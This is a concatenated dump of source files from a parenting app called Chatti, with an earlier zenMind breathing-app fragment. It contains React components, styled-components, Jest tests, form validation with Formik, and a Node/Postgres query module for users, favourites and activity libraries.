fontWeight:'bold', marginVertical:30, textAlign:'center' } }) /* import React, { useContext, useEffect, useState } from 'react'; import {StyleSheet, Text,Image,View} from 'react-native'; import MMKVStorage, { useMMKVStorage } from "react-native-mmkv-storage"; import { ZenContext } from '../context/zenMindContext'; import Line from './Line' import LottieView from 'lottie-react-native'; import { ScrollView } from 'react-native'; import Perso from "./../../images/Dame.jpg" export default function History(){ const {MMKV} = useContext(ZenContext) const [feedbackHistory, setFeedbackHistory] = useMMKVStorage("historique", MMKV); //const [testHistory, setTestHistory] = useMMKVStorage("Test", MMKV); const [bool, setBool] = useState(TestFeedback()===false ? true : false) function TestFeedback(){ if(feedbackHistory === null || feedbackHistory.length ===0||feedbackHistory===undefined) { return false; } else { return true; } } useEffect(()=>{ console.log("feedbackHistory"); console.log( feedbackHistory) console.log( TestFeedback()) console.log("feedbackHistory fin"); if(feedbackHistory===undefined || feedbackHistory === null){ setFeedbackHistory([]) } }) return( <View> <FlatList data={feedbackHistory} renderItem={({item, index}) => index===1 ?<Image source={Perso} style={{width:"90%",height:"60%"}}/>&& <Line date={item.date} value={item.value} type={item.type} index={index}/>:<Line date={item.date} value={item.value} type={item.type} index={index}/> }/> </View> <ScrollView contentContainerStyle={{...styles.history, height:"100%"}} style={{height:'100%'}}> <Text style={styles.title}>Historique</Text> <Image source={Perso} style={{width:"90%",height:"60%"}}/> {TestFeedback() === true && feedbackHistory.map((history,index)=><Line date={history.date} value={history.value} type={history.type} index={index}/>)} {TestFeedback() === true && feedbackHistory.map((history,index)=><Line date={history.date} value={history.value} type={history.type} index={index}/>)} {TestFeedback() === true && feedbackHistory.map((history,index)=><Line date={history.date} value={history.value} type={history.type} index={index}/>)} {TestFeedback() === true && feedbackHistory.map((history,index)=><Line date={history.date} value={history.value} type={history.type} index={index}/>)} {TestFeedback() === false ? <LottieView source={require('./../../images/empty.json')} style={{width:"100%", marginTop:10}} autoPlay loop/> : console.log('error')} {TestFeedback() === false&& <Text>Il semblerait que votre historique est vide :/</Text>} </ScrollView> ); } const styles = StyleSheet.create({ history:{ display:'flex', justifyContent:'flex-start', alignItems:'center', }, title:{ fontSize:24, fontWeight:'bold', marginVertical:30, textAlign:'center' } }) */<file_sep>/Component/Home/Button_Respire.js import { useNavigation } from "@react-navigation/core"; import React, { useContext } from "react"; import { Button, ImageBackground, Pressable, StyleSheet, Text } from "react-native"; import Sun from './../../images/sun.png'; import MMKVStorage, { useMMKVStorage } from "react-native-mmkv-storage"; import { ZenContext } from "../context/zenMindContext"; function ButtonRespire() { const {MMKV} = useContext(ZenContext) const navigation = useNavigation(); const [history, setHistory] = useMMKVStorage("history", MMKV); return( <Pressable onPress={()=>{ navigation.navigate('Personnalisée') }} style={styles.backgroundButton} title="Démarrer une respiration" color="#841584" accessibilityLabel="Learn more about this purple button"> <Text>Lancer une {"\n"} respiration</Text> </Pressable> ); } export default ButtonRespire; const styles = StyleSheet.create({ backgroundButton:{ width:250, height:250, display:'flex', justifyContent:'center', alignItems:'center', position:'absolute', bottom:25 } })<file_sep>/Component/Home/RespirationGoal.js import React from 'react'; import { StyleSheet, Text, View } from 'react-native'; import { NavigationContainer } from '@react-navigation/native'; import { createStackNavigator } from '@react-navigation/stack'; import Goal from './Goal'; import Hello from './Hello'; import Home from './home'; function RespirationGoal({navigation}) { const Stack = createStackNavigator(); return ( <View style={styles.fullWidth}> <Stack.Navigator> <Stack.Screen name="Home" component={Home}/> <Stack.Screen name="Hello" component={Hello}/> </Stack.Navigator> </View> ) } export default RespirationGoal; const styles = StyleSheet.create({ home:{ width:400, flex:1, alignItems:'center', justifyContent:'center', }, fullWidth:{ width:'100%', flex:1, display:"flex", justifyContent:'center', } })
73c268c9e0754dfc8c7025c03e775ddeede2553f
[ "JavaScript" ]
30
JavaScript
mateobou/zenMind
6cb0c905dd8b893adb092dd8ce22e76e5e0e48b9
3b3afe7684a5a8430d9848d1a1bd24bcc58d55e8
refs/heads/master
<file_sep>public class Solution { public int HammingDistance(int x, int y) { //One has to be One int check = x ^ y; int setBits = 0; while (check > 0) { setBits += check & 1; //Shifts check >>= 1; } return setBits; } }
b2e7154f41c3df6fbd37b45db279ec5be7130c8c
[ "C#" ]
1
C#
BrandonDalton/CaculateHammeringDistanceInt
0b577d3b31ac159ece09d4ed36e3730d148b1ed8
b77da5381ec8a2942081d371354cfef0d911aa02
refs/heads/master
<file_sep>import React from 'react' import Register1 from '../Register1/Register1' import Register2 from '../Register2/Register2' import Register3 from '../Register3/Register3' import Register4 from '../Register4/Register4' import HeaderRegistration from '../HeaderRegistration/headerRegistration' import Header from '../Header/Header' import * as SC from './RegisterContainer.style' import ProgressBar1 from '../ProgressBar/ProgressBar1' import ProgressBar2 from '../ProgressBar/ProgressBar2' import ProgressBar3 from '../ProgressBar/ProgressBar3' import postFormData from '../../utils/postFormData' import getUserData from '../../utils/getUserData' import changeToDbFormat from '../../utils/changeToDbFormat' function RegisterContainer({ userData, setUserData }) { const [reg1, setReg1] = React.useState(null) const [reg2, setReg2] = React.useState(null) const [reg3, setReg3] = React.useState(null) //listens for the completion of the 3rd form page, then if all data is present (which it should be), sends post request to back end with reg3 adjusted to db format (e.g. 7pm to 19:00:00) //NB data format changer function currently only works for exact hours, but not e.g. 7.30pm React.useEffect(() => { if (reg1 && reg2 && reg3) { const modifiedFormatReg3 = changeToDbFormat(reg3) postFormData({ ...reg1, ...reg2, ...modifiedFormatReg3 }) } }, [reg3]) return ( <SC.RegisterContainer> <HeaderRegistration /> <SC.Divider /> {reg2 ? <ProgressBar3 /> : reg1 ? <ProgressBar2 /> : <ProgressBar1 />} <SC.Divider /> {reg3 ? ( <Register4 names={{ userName: reg1.name, childName: reg2.child_name }} /> ) : reg2 ? ( <Register3 setReg3={setReg3} /> ) : reg1 ? ( <Register2 setReg2={setReg2} /> ) : ( <Register1 setReg1={setReg1} /> )} </SC.RegisterContainer> ) } export default RegisterContainer <file_sep>import React from "react"; import { render } from "@testing-library/react"; import AboutUsContent from "./AboutUsContent"; import { Router } from "react-router-dom"; import { createMemoryHistory } from "history"; test("renders About Us header", () => { const history = createMemoryHistory(); const { getByText } = render( <Router history={history}> <AboutUsContent /> </Router> ); const headerElement = getByText(/About Us/i); expect(headerElement).toBeInTheDocument(); }); <file_sep>import React from 'react' import styled, { css } from 'styled-components' import { Field, Form, ErrorMessage } from 'formik' const InputField = styled(Field)` background-color: #00000; box-shadow: inset 0px 4px 0px rgba(22, 60, 155, 0.71); border: 1px solid #163c9b; width: 270px; border-radius: 12px; min-height: 40px; font-family: Lato; font-weight: normal; font-size: 19px; color: #0e2869; text-align: center; cursor: pointer; margin: 1rem auto; ` const Heading = styled.h1` font-family: Lato; font-style: normal; font-weight: normal; font-size: 24px; line-height: 39px; text-align: center; color: #ffffff; margin-top: 2rem; ${props => props.whiteBg && css` color: #163c9b; `} ${props => props.reg4 && css` font-size: 34px; `} ` const ActivityTitle = styled.h2` font-family: Lato; font-style: normal; font-weight: 600; font-size: 24px; line-height: 27px; color: #163c9b; padding: 1em 0 1em 0em; ` const ActivityContainer = styled.div` background-color: #f7f7f7; max-width: 1200px; margin: 1em auto 3em auto; /* display: flex; flex-direction: column; justify-content: center; */ ` const Error = styled(ErrorMessage)` color: red; padding: 0 5em 2em 5em; ` const GeneralText = styled.p` display: inline; font-family: Lato; font-style: normal; font-weight: normal; font-size: 22px; line-height: 29px; text-align: center; color: #ffffff; ` const InputSubHeading = styled.label` display: flex; flex-direction: column; font-family: Lato; font-style: normal; font-weight: bold; font-size: 16px; line-height: 19px; text-align: center; color: #ffffff; ` const ActivitySubHeading = styled.h4` font-family: Lato; font-style: normal; font-size: 32px; line-height: 19px; text-align: left; color: #163c9b; padding: 1em 0 1em 1em; ${props => props.SettingsSub && css` font-size: 22px; text-align: center; border-top: 1px solid #163c9b; border-bottom: 1px solid #163c9b; `} ` const FormBox = styled(Form)` display: flex; flex-direction: column; ` const RecommendationParagraph = styled.p` font-size: 1.4em; text-align: center; color: white; padding: 2em; background-color: #3b60bd; ` const FormContainer = styled.div` display: flex; flex-direction: column; ` const ProgressContainer = styled.div` max-width: 1200px; margin: 1em auto 8em auto; h1 { color: #163c9b; font-size: 2.5em; text-align: center; margin: 1em; font-weight: 400; } h3 { font-size: 1em; font-weight: 300; } h2 { font-size: 1em; font-weight: 200; color: #163c9b; } .flex-display { display: flex; align-self: center; } .space-between { justify-content: space-between; } .space-around { justify-content: space-around; margin-top: 1em; } .progress-section { background-color: #f5f8fd; border-radius: 10px; padding: 1em; margin-bottom: 1em; transition: 0.3s all ease-in-out; } ` const CommunityContainer = styled.div` max-width: 700px; color: #163c9b; margin: 0 auto 3em auto; h1 { margin-top: 1em; margin-bottom: 0.5em; text-align: center; } p { text-align: center; background-color: #f5f8fd; border-radius: 10px; padding: 1em 2em; } ` export { InputField, ActivityTitle, GeneralText, Heading, InputSubHeading, ActivitySubHeading, FormBox, Error, RecommendationParagraph, FormContainer, ActivityContainer, ProgressContainer, CommunityContainer, } <file_sep>import styled, { css } from 'styled-components' const Setting = styled.section` display: flex; flex-direction: column; color: #163c9b; margin: 1em auto 5em auto; max-width: 1500px; ` const Select = styled.select` background-color: #00000; box-shadow: inset 0px 4px 0px rgba(22, 60, 155, 0.71); border: 1px solid #163c9b; width: 270px; border-radius: 12px; min-height: 40px; font-family: Lato; font-weight: normal; font-size: 19px; color: #0e2869; text-align: center; cursor: pointer; margin: 1rem auto; ` const SettingsLabel = styled.label` font-family: Lato; font-style: normal; font-weight: bold; font-size: 16px; line-height: 19px; text-align: center; ` const SettingsHeader = styled.h2` color: #163c9b; padding-top: 1em; width: 100%; text-align: center; font-size: 25px; ` const SettingText = styled.div` display: flex; flex-direction: row; justify-content: space-between; margin: 2em 3em; ` export { Setting, Select, SettingsLabel, SettingsHeader, SettingText } <file_sep>import React from "react"; import * as SC from "./ProgressBar.style"; import { ReactComponent as Tick } from "../../assets/svgs/tick.svg" function ProgressBar2() { return ( <SC.ProgressBar1> <div className="step"> <div className ="circle white ticked "><Tick/></div> <p className="step_description ">Your details </p> </div> <div className="step"> <div className ="active"></div> <p className="step_description highlighted">Your children's details</p> </div> <div className="step"> <div className ="circle blue"></div> <p className="step_description">Initial settings</p> </div> </SC.ProgressBar1> ); } export default ProgressBar2;<file_sep>import React, { Component } from 'react' import Popup from 'reactjs-popup' import Player from '../Player/Player' import PopupVideo from './popup.style' import VideoButton from './popupbutton.style' import '../masterCss' export default function VideoPopup({ videoUrl }) { return ( <Popup trigger={<VideoButton>Watch video</VideoButton>} contentStyle={{ width: '400px', height: '300px' }} modal > {close => ( <PopupVideo trigger={<button className="button"> Trigger </button>} position="top center" closeOnDocumentClick > <div className="modal"> <a className="close" onClick={close}> &times; </a> <div className="content"> <Player videoUrl={videoUrl} /> </div> {/* <div className="actions"></div> */} </div> </PopupVideo> )} </Popup> ) } <file_sep>import React from 'react' import AboutUsContent from '../AboutUsContent/AboutUsContent' import { ReactComponent as MainImage } from '../../assets/svgs/image_hp1.svg' import { ReactComponent as LogoBig } from '../../assets/svgs/logo_big.svg' import { ReactComponent as ArrowDown } from '../../assets/svgs/arrow_down.svg' import * as SC from './homepage.style' import Button from '../button' import { Link } from 'react-router-dom' function Homepage() { React.useEffect(() => { window.scrollTo(0, 0) }, []) return ( <SC.Homepage> <div className="container-flex"> <div className="logo-container"> <LogoBig /> </div> <div className="image-container"> <MainImage /> </div> <h3 className="header-text"> Interactive ideas to inspire special moments with your little one everyday </h3> <Link to="/signup"> <Button buttonText="Get started"></Button> </Link> <Link to="/login"> <Button buttonText="I already have an account" secondary></Button> </Link> <ArrowDown /> <p className="header_tip">Scroll down to learn some more</p> </div> <AboutUsContent /> <footer> <Link to="/signup"> <Button buttonText="Get started"></Button> </Link> <p>Chatti © 2020</p> </footer> </SC.Homepage> ) } export default Homepage <file_sep>const calcProgressStats = userLibrary => { const activitiesCompleted = userLibrary.length const minutesCompleted = userLibrary.reduce( (accum, activity) => accum + activity.duration, 0 ) return { activitiesCompleted, minutesCompleted, } } export default calcProgressStats <file_sep>import React from 'react' import Button from '../button' import { ActivityTitle } from '../masterCss' import * as SC from './ActivitySummary.style' import { ReactComponent as TimeIcon } from '../../assets/svgs/activity_time.svg' import { ReactComponent as AgesIcon } from '../../assets/svgs/activity_ages.svg' import { ReactComponent as ListeningIcon } from '../../assets/svgs/activity_listening.svg' import { ReactComponent as UnderstandingIcon } from '../../assets/svgs/activity_understanding.svg' import { ReactComponent as SocialIcon } from '../../assets/svgs/activity_social.svg' import { ReactComponent as SpeakingIcon } from '../../assets/svgs/activity_speaking.svg' import { Redirect, useHistory } from 'react-router-dom' import './ActivitySummary.css' function ActivitySummary({ activity, setCurrentActivity }) { //data is all the fields from the db: //id, title, video_url, image_url, instructions, duration, lower_age_range, upper_age_range, listening_attention, understanding, speaking, social_interaction const data = activity const history = useHistory() const openActivity = () => { setCurrentActivity(data) history.push('/activity') } const [starPercentageRounded, setStarPercentageRounded] = React.useState(null) React.useEffect(() => { const starPercentage = (3.6 / 5) * 100 setStarPercentageRounded(`${Math.round(starPercentage / 10) * 10}%`) }, [activity]) return ( <SC.ActivitySummary> <div className="activity-main-container"> <div className="top-container"> <ActivityTitle>{data.title}</ActivityTitle> <div className="rating"> <div className="rating-outer"> <div className="rating-inner" style={{ width: starPercentageRounded, }} ></div> <span>4.5</span> </div> </div> </div> <div className="centre-container"> <div className="details-container"> <div className="row-container"> <TimeIcon /> <p>{data.duration} mins</p> </div> <div className="row-container"> <AgesIcon /> <p> Ages {data.lower_age_range}-{data.upper_age_range} </p> </div> <div className="row-container"> <h4>Skills:</h4> </div> {data.listening_attention && ( <div className="row-container"> <ListeningIcon /> <p>Listening/Attention</p> </div> )} {data.understanding && ( <div className="row-container"> <UnderstandingIcon /> <p>Understanding</p> </div> )} {data.speaking && ( <div className="row-container"> <SpeakingIcon /> <p>Speaking</p> </div> )} {data.social_interaction && ( <div className="row-container"> <SocialIcon /> <p>Social Interaction</p> </div> )} </div> <div className="activity-image-container"> <img src={data.image_url} alt="activity preview" className="activity-preview" ></img> </div> </div> <Button className="ctaButton" buttonText="Let's go" handleClick={openActivity} /> </div> </SC.ActivitySummary> ) } export default ActivitySummary <file_sep>import React from "react"; import { render } from "@testing-library/react"; import WelcomeBack2 from "./WelcomeBack2"; import { Router } from "react-router-dom"; import { createMemoryHistory } from "history"; test("WelcomeBack2 component includes Great! header", () => { const history = createMemoryHistory(); const { getByText } = render( <Router history={history}> <WelcomeBack2 /> </Router> ); const headerElement = getByText(/Great!/i); expect(headerElement).toBeInTheDocument(); }); <file_sep>const deleteFav = async data => { const response = await fetch(`/api/deletefavourites`, { method: 'POST', headers: { 'Content-type': 'application/json', Accept: 'application/json', }, body: JSON.stringify(data), }) return await response.json() } export default deleteFav <file_sep>import styled from 'styled-components' const VideoButton = styled.button` background: #ffc000; box-shadow: 0px 4px 0px #ff8e00; width: 270px; border-radius: 12px; min-height: 40px; font-family: Lato; font-weight: normal; font-size: 19px; color: #000000; text-align: center; cursor: pointer; border-style: none; margin: 1rem auto; opacity: 85%; transition: 0.3s all ease-in-out; &:hover { opacity: 100%; } &:active { box-shadow: none; } ` export default VideoButton <file_sep>const getSettingData = async () => { const response = await fetch(`/api/settings`); return await response.text(); }; export default getSettingData; <file_sep>import React from "react"; import { render } from "@testing-library/react"; import RegisterContainer from "./RegisterContainer"; import ReactDOM from "react-dom"; import { Router } from "react-router-dom"; import { createMemoryHistory } from "history"; it("Register Container renders without problems", () => { const history = createMemoryHistory(); const div = document.createElement("div"); ReactDOM.render( <Router history={history}> {" "} <RegisterContainer /> </Router>, div ); }); <file_sep>import React from 'react' import Header from '../Header/Header' import Navbar from '../Navbar/Navbar' import Favourite from '../Favourite/Favourite' import { Heading } from '../masterCss' import { FavsContainer } from './favouritesconainer.styles' function FavouritesContainer({ favouriteActivities, setCurrentActivity }) { //need to know list of user favourites //and add message if they have no favourites! return ( <> {favouriteActivities && ( <> <Header buttons /> <Heading whiteBg>Your Favourites</Heading> <FavsContainer> {favouriteActivities.map(activity => { return ( <Favourite key={activity.id} activity={activity} setCurrentActivity={setCurrentActivity} /> ) })} </FavsContainer> <Navbar /> </> )} </> ) } export default FavouritesContainer <file_sep>import React from 'react' import { render } from '@testing-library/react' import FavouritesContainer from './FavouritesContainer' import { Router } from 'react-router-dom' import { createMemoryHistory } from 'history' test('Favourites Container includes Your Favourites header', () => { const history = createMemoryHistory() const favouriteActivities = [ { id: 1, title: 'Clapperoo', video_url: 'https://www.youtube.com/embed/62QEl385HBQ', image_url: '/images/clapperoo.jpg', instructions: 'Sit down so you are on the same level as (name). Clap your hands together and encourage (objectpronoun) to do the same. Reach forward and clap your hands against (name)’s. Clap your hands together again, and repeat! For an extra challenge, try counting numbers or saying the alphabet at the same time', duration: 10, lower_age_range: 3, upper_age_range: 5, listening_attention: true, understanding: false, speaking: false, social_interaction: true, }, ] const { getByText } = render( <Router history={history}> <FavouritesContainer favouriteActivities={favouriteActivities} /> </Router> ) const headerElement = getByText(/Your Favourites/i) expect(headerElement).toBeInTheDocument() }) <file_sep>import React from "react"; import { ReactComponent as Logo } from "../../assets/svgs/logo_small.svg"; import { ReactComponent as BackButton } from "../../assets/svgs/arrow_go_back.svg"; import { ReactComponent as SettingsButton } from "../../assets/svgs/settings_cog.svg"; import * as SC from "./Header.style"; import { Link } from "react-router-dom"; import { Heading } from "../masterCss"; function Header({ buttons }) { return ( <SC.Header> <div> {buttons && ( <Link to="/home"> <BackButton /> </Link> )} <Link to="/home"> <Logo className="svgTitle" /> </Link> {buttons && ( <Link to="/settings"> <SettingsButton /> </Link> )} </div> </SC.Header> ); } export default Header; <file_sep>import React from "react"; import * as SC from "./Navbar.style"; import { ReactComponent as AboutUsButton } from "../../assets/svgs/nav_icon_about.svg"; import { ReactComponent as FavouriteButton } from "../../assets/svgs/nav_icon_fav.svg"; import { ReactComponent as CommunityButton } from "../../assets/svgs/nav_icon_community.svg"; import { ReactComponent as ProgressButton } from "../../assets/svgs/nav_icon_progress.svg"; import { Link } from "react-router-dom"; function Navbar() { return ( <SC.Navbar> <nav> <ul> <SC.StyledLink to="/aboutus"> <li> <AboutUsButton /> <p>About Us</p> </li> </SC.StyledLink> <SC.StyledLink to="/favourites"> <li> <FavouriteButton /> <p>Favourites</p> </li> </SC.StyledLink> <SC.StyledLink to="/community"> <li> <CommunityButton /> <p>Community</p> </li> </SC.StyledLink> <SC.StyledLink to="/progress"> <li> <ProgressButton /> <p>Progress</p> </li> </SC.StyledLink> </ul> </nav> </SC.Navbar> ); } export default Navbar; <file_sep>import React from "react"; import ReactDOM from "react-dom"; import ProgressBar1 from "./ProgressBar1"; it("ProgressBar1 renders without problems", () => { const div = document.createElement("div"); ReactDOM.render(<ProgressBar1 />, div); }); <file_sep>import styled from 'styled-components' const PlayerContainer = styled.div` position: relative; padding-top: 56.25%; /* Player ratio: 100 / (1280 / 720) */ .player { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } ` export default PlayerContainer <file_sep>const {Pool} = require("pg"); const url = require("url"); require("env2")("./.env"); let CURRENT_DB = process.env.DATABASE_URL if(process.env.NODE_ENV === "test") { CURRENT_DB = process.env.TEST_DATABASE_URL } if(!CURRENT_DB) throw new Error ("Environment variable DATABSE_URL must be set") const params = url.parse(CURRENT_DB) const [username, password] = params.auth.split(':'); const options = { host:params.hostname, port:params.port, database: params.pathname.split('/')[1], max:process.env.DB_MAX_CONNECTIONS || 2, user:username, password, ssl:params.hostname !== "localhost", }; const dbConnection = new Pool(options) module.exports = dbConnection;<file_sep>import React from 'react' import HeaderRegistration from '../HeaderRegistration/headerRegistration' import { Formik, Form, Field, ErrorMessage } from 'formik' import { InputField, Heading, InputSubHeading, FormBox } from '../masterCss' import Button from '../button' import postLogIn from '../../utils/postData' import { Redirect, useHistory } from 'react-router-dom' import * as SC from './Login.style' import getUserData from '../../utils/getUserData' const Login = ({ setUserData }) => { const history = useHistory() return ( <SC.Login> <HeaderRegistration /> <div> <SC.Divider /> <Heading>Log in to your profile</Heading> <SC.Divider /> <Formik initialValues={{ email: '', password: '' }} validate={values => { const errors = {} if (!values.email) { errors.email = 'REQUIRED' } else if ( !/^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}$/i.test(values.email) ) { errors.email = 'Invalid Email' } return errors }} onSubmit={(values, { setSubmitting }) => { postLogIn(values).then(result => { if (result === 'cookie exists') { getUserData() .then(result => setUserData({ userId: result.id, userName: result.name, userEmail: result.email, childName: result.child_name, childBirthday: result.child_birthday, childGender: result.child_gender, }) ) .then(history.push('/home')) } }) }} > {({ isSubmitting }) => ( <FormBox> <InputSubHeading> Email <InputField type="email" name="email" /> <ErrorMessage name="email" component="div" /> </InputSubHeading> <InputSubHeading> Password <InputField type="<PASSWORD>" name="password" /> <ErrorMessage name="password" component="div" /> </InputSubHeading> <Button type="submit" disabled={isSubmitting} buttonText="Login" bottom ></Button> </FormBox> )} </Formik> </div> </SC.Login> ) } export default Login <file_sep>const checkUser = async email => { const response = await fetch(`/api/checkuser`, { method: 'POST', headers: { 'Content-type': 'application/json', Accept: 'application/json', }, body: JSON.stringify({ email: email }), }) return await response.json() } export default checkUser <file_sep>import styled from "styled-components"; const Homepage = styled.section` background-color: #163c9b; color: white; .container-flex { padding: 2em 2em 3em 2em; display: flex; flex-direction: column; align-items: center; height: 95vh; } .logo-container { margin-bottom: 1em; } .image-container { width: 200px; height: 200px; } h3.header-text { text-align: center; padding: 2em; } .header_tip { color: white; font-size: 0.8em; margin-top: 2em; } footer { display: flex; flex-direction: column; justify-content: center; align-items: center; height: 100px; } footer p { text-align: center; font-family: Lato; padding-bottom: 1rem; } `; export { Homepage }; <file_sep>const changeToDbFormat = data => { data.weekly_goal = data.weekly_goal.split(' ')[0] const timeArray = data.new_ideas_time.split('') const amPmIndication = timeArray.splice(timeArray.length - 2, 2).join('') const dbFriendlyTime = (amPmIndication === 'am' ? timeArray : Number(timeArray) + 12) + ':00:00' data.new_ideas_time = dbFriendlyTime return data } export default changeToDbFormat <file_sep>import styled from "styled-components"; const LoggedIn = styled.section ` background-color: red; ` export { LoggedIn };<file_sep>import React from 'react' import { InputField, Heading, InputSubHeading, FormBox, Error, } from '../masterCss' import { ErrorMessage, Formik } from 'formik' import Button from '../button' import checkUser from '../../utils/checkUser' function Register1({ setReg1 }) { return ( <> <Formik initialValues={{ name: '', email: '', password: '' }} validate={values => { const errors = {} if (!values.name) { errors.name = ' name is REQUIRED' } else if ( !/^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}$/i.test(values.email) ) { errors.email = 'Invalid email' } else if (!values.email) { errors.email = 'email is required' } else if (values.email) { return checkUser(values.email) .then(result => { if (result) { errors.email = 'User already exists' return errors } }) .catch(result => console.log('error when checking if user already exists') ) } else if (!values.password) { errors.password = 'Enter <PASSWORD> password' } else if ( !/^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.{8,})/i.test( values.password ) ) { errors.password = 'Your password must contain at least 1 lowercase, 1 uppercase and 1 number. Must be atleast 8 characters long ' } return errors }} onSubmit={(values, { setSubmitting }) => { setReg1(values) }} > {({ isSubmitting }) => ( <FormBox> <InputSubHeading> {' '} Your name: <InputField type="text" name="name" /> <Error name="name" component="div" /> </InputSubHeading> <InputSubHeading> {' '} Your email: <InputField type="email" name="email" /> <Error name="email" component="div" /> </InputSubHeading> <InputSubHeading> {' '} Your password: <InputField type="password" name="password" /> <Error name="password" component="div" /> </InputSubHeading> <Button type="submit" disabled={isSubmitting} buttonText={'Continue'} bottom ></Button> </FormBox> )} </Formik> </> ) } export default Register1 <file_sep>import React from "react"; import ReactDOM from "react-dom"; import { render } from "@testing-library/react"; import WelcomeBack1 from "./WelcomeBack1"; import WelcomeBack2 from "../WelcomeBack2/WelcomeBack2"; import { Router } from "react-router-dom"; import { createMemoryHistory } from "history"; it("WelcomeBack1 renders without problems", () => { const history = createMemoryHistory(); const div = document.createElement("div"); ReactDOM.render( <Router history={history}> <WelcomeBack1 /> </Router>, div ); }); <file_sep>const dbConnection = require('../db_connection.js') //dbConnection.query will return a promise //second parameter needs to be an array which will be used for the $1,$2 etc (protects from injection) //see documentation: https://node-postgres.com/features/queries const getUserLogin = async userEmail => { const response = await dbConnection .query('SELECT password FROM users WHERE email = $1', [userEmail]) .then(result => result.rows) return response } const getUserId = async userEmail => { const response = await dbConnection .query('SELECT id FROM users WHERE email = $1', [userEmail]) .then(result => result.rows[0].id) return response } const getUserLibrary = userEmail => { return dbConnection .query( '(SELECT * FROM content WHERE id IN (SELECT content_id FROM user_libraries WHERE user_id = (SELECT id FROM users WHERE email = $1 LIMIT 1)));', [userEmail] ) .then(result => result.rows) } //inserts new user data into database //gets id of new user (auto assigned by db) //adds content items the existing content to user library so they already have some material to see //this would need changing to incorporate automatic adding of new content etc const InsertUserData = async userData => { const response = await dbConnection .query( 'INSERT INTO USERS (name,email,password,child_name,child_birthday,child_gender,notification_frequency, notification_time, weekly_goal) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9);', Object.values(userData) ) .then(result => { console.log('insert user feedback ', result) dbConnection .query('SELECT id FROM users WHERE email = $1 LIMIT 1;', [ userData.email, ]) .then(result => result.rows[0].id) .then(userId => { dbConnection .query( 'INSERT INTO user_libraries (user_id, content_id) VALUES ($1,$2),($1,$3),($1,$4),($1,$5),($1,$6),($1,$7),($1,$8);', [userId, 1, 5, 6, 7, 8, 9, 10] ) .catch(console.log) }) }) .catch(console.log) return await response } const getUserData = id => { return dbConnection .query( 'SELECT id, name, email, child_name, child_birthday, child_gender FROM users WHERE id = $1', [id] ) .then(result => result.rows[0]) } //checks if a user email is alredy in db //returns false if user is not present, and vice versa //this is used on sign up form to avoid user signing up twice const getUser = email => { return dbConnection .query('SELECT email from users WHERE email = $1', [email]) .then(result => { if (result.rowCount === 0) { return false } else { return true } }) } const getFavourites = userId => { return dbConnection .query( 'SELECT * from content WHERE id IN ( SELECT content_id from favourites WHERE user_id = $1)', [userId] ) .then(result => { return result.rows }) } const deleteFavourite = (userId, content_id) => { return dbConnection .query('DELETE from favourites WHERE user_id = $1 AND content_id = $2', [ userId, content_id, ]) .then(result => { return result }) } module.exports = { getUserLogin, getUserLibrary, InsertUserData, getUserData, getUserId, getUser, getFavourites, deleteFavourite, } <file_sep>import styled from 'styled-components' const Favourite = styled.section` display: flex; flex-direction: row; .activity-preview-container { object-fit: cover; width: 1000%; margin-left: 0.5rem; display: flex; align-items: center; } .activity-preview { width: 100%; } .right-container { display: flex; flex-direction: column; margin: 1rem; } .top-container { display: flex; flex-direction: row; } ` export { Favourite } <file_sep>import React from 'react' import Header from '../Header/Header' import Navbar from '../Navbar/Navbar' import { CommunityContainer } from '../masterCss' import { InputField, InputSubHeading, FormBox, Error, } from '../masterCss' import { ErrorMessage, Formik } from 'formik' import Button from '../button' function Community({ userData, userLibrary }) { return ( <> <Header buttons /> <CommunityContainer> <h1>Visit us soon!</h1> <p>Soon we will launch here the Chatti forum</p> </CommunityContainer> <Navbar /> </> ) } export default Community <file_sep>const postFormData = async (userdata) => { const response = await fetch(`/api/signup` , { method:'POST', headers: { 'Content-type': " application/json", Accept: "Applcation/json", }, body:JSON.stringify(userdata) }) return await response.text() } export default postFormData;<file_sep>import React from 'react' import { render } from '@testing-library/react' import Register4 from './Register4' import { Router } from 'react-router-dom' import { createMemoryHistory } from 'history' test('includes Great! header', () => { const history = createMemoryHistory() const { getByText } = render( <Router history={history}> <Register4 names={{ userName: 'Georgia', childName: 'Freddie' }} /> </Router> ) const headerElement = getByText(/Great!/i) expect(headerElement).toBeInTheDocument() }) <file_sep>import React from "react"; import { render } from "@testing-library/react"; import Register3 from "./Register3"; import ReactDOM from "react-dom"; test("includes How often do you want to get new ideas? label", () => { const { getByText } = render(<Register3 />); const headerElement = getByText( /How often do you want to get new ideas?/i ); expect(headerElement).toBeInTheDocument(); }); it("Register3 renders without problems", () => { const div = document.createElement("div"); ReactDOM.render(<Register3 />, div); }); <file_sep>import React from "react"; import Header from "../Header/Header"; function WelcomeBack1() { // need to know userName and last activity name return ( <React.Fragment> <Header /> <h3>Welcome back ...</h3> <h3> Did you complete ...?</h3> {/*yes button / no button */} </React.Fragment> ); } export default WelcomeBack1; <file_sep>import React from "react"; import ReactDOM from "react-dom"; import ProgressBar3 from "./ProgressBar3"; it("ProgressBar3 renders without problems", () => { const div = document.createElement("div"); ReactDOM.render(<ProgressBar3 />, div); }); <file_sep>import React from 'react' import { ReactComponent as Logo } from "../../assets/svgs/logo_small.svg"; import { Link } from "react-router-dom"; import * as SC from "./headerRegistration.style"; const HeaderRegistration = () => { return ( <SC.HeaderRegistration> <Link to='/home'> <Logo /> </Link> </SC.HeaderRegistration> ) } export default HeaderRegistration <file_sep>import React from "react"; import Header from "../Header/Header"; import Navbar from "../Navbar/Navbar"; import AboutUsContent from "../AboutUsContent/AboutUsContent"; function AboutUs() { return ( <> <Header buttons /> <AboutUsContent /> <Navbar /> </> ); } export default AboutUs; <file_sep>import React, { useReducer } from 'react' import Header from '../Header/Header' import Navbar from '../Navbar/Navbar' import Button from '../button' import getSettingData from '../../utils/getSettingsData' import { useHistory, Link } from 'react-router-dom' import * as SC from './settings.style' import { ActivitySubHeading } from '../masterCss' function Settings({ userData }) { const [childAge, setChildAge] = React.useState(null) React.useEffect(() => { if (userData) { const now = Date.now() const birthdayAsDate = Date.parse(userData.childBirthday) const difference = new Date(now - birthdayAsDate) setChildAge(difference.getUTCFullYear() - 1970) } }, [userData]) //need to know userName, email, childs name, childs age, password length const history = useHistory() const logout = () => { getSettingData(userData) .then(result => { if (result === 'cookie deleted') { history.push('./') } 